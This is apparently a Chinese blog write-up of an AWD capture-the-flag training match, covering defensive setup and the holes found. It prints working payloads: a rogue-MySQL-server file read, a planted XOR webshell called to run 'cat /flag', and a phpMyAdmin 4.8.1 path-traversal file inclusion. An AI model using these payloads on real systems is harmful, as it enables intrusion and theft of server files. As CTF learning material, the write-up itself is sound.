0x01前言

AWD不是很熟,这次的星盟的AWD线上训练赛,准备不充足,思路不够清晰,这里重新分析复现下。

0x02正文

首先是前期的准备

D盾,Seay源代码扫描工具,常用脚本Waf,winscp等等等等,然后晚上的时候发了平台地址,登上去首先把源码和数据库dump下来进行备份(winscp载的时候文件过大居然有的时候断开链接了。。。,然后mysql不知为什么老是挂掉,主办方可能是docker问题),然后D盾,Seay扫描并没有什么用,然后上waf监控脚本,一开始应该是没上对地方database.php没有上waf导致没抓到流量,waf脚本https://github.com/admintony/Prepare-for-AWD/blob/master/Defense/waf.php 在需要上的地方require_once(‘waf.php’);

然后大致浏览了下网站的架构,很简单没有什么功能,只有简单的写功能,然后有phpmyadmin并且版本较低应该有洞,cg直接把他禁了,然后开始审计发现只有根目录有flag,数据库里面没有,当时以为是利用sql注入写shell看了半天但是发现基本所有的参数都被转义过滤了,基本没有注入点,然后database.php有可以链接外部数据库,刚开始没想到是那个mysql恶意读取文件,后面才想起有点晚了。

在自己vps上部署好rogue_mysql_server的脚本,然后访问./database.php?host={your_ip}&username=root&passwprd=root&port=3306 mysql任意文件读漏洞(这里要看phpMyAdmin-4.8.4-all-languages/libraries/config.default.php中间的$cfg[‘AllowArbitraryServer’] = true; 是否为True),然后后面看到同样利用phpmyadmin一样是这个洞。

还有个洞是个预留的shell在/admin/pma/setup/back.php中是个异或马,

具体就是_GET(s)_GET(ss),payload是/admin/pma/setup/back.php?s=system&ss=cat%20/flag  (想知道师傅们怎么快速找到预留后门的啊)

然后还有个是phpmyadmin 4.8.1的洞可以本地文件包含admin/pma/index.php?target=db_sql.php?/../../../../../../../../flag

具体内容看https://www.vulnspy.com/cn-phpmyadmin-4.8.1-lfi-to-rce/

0x03总结

对awd 还是要多多熟悉。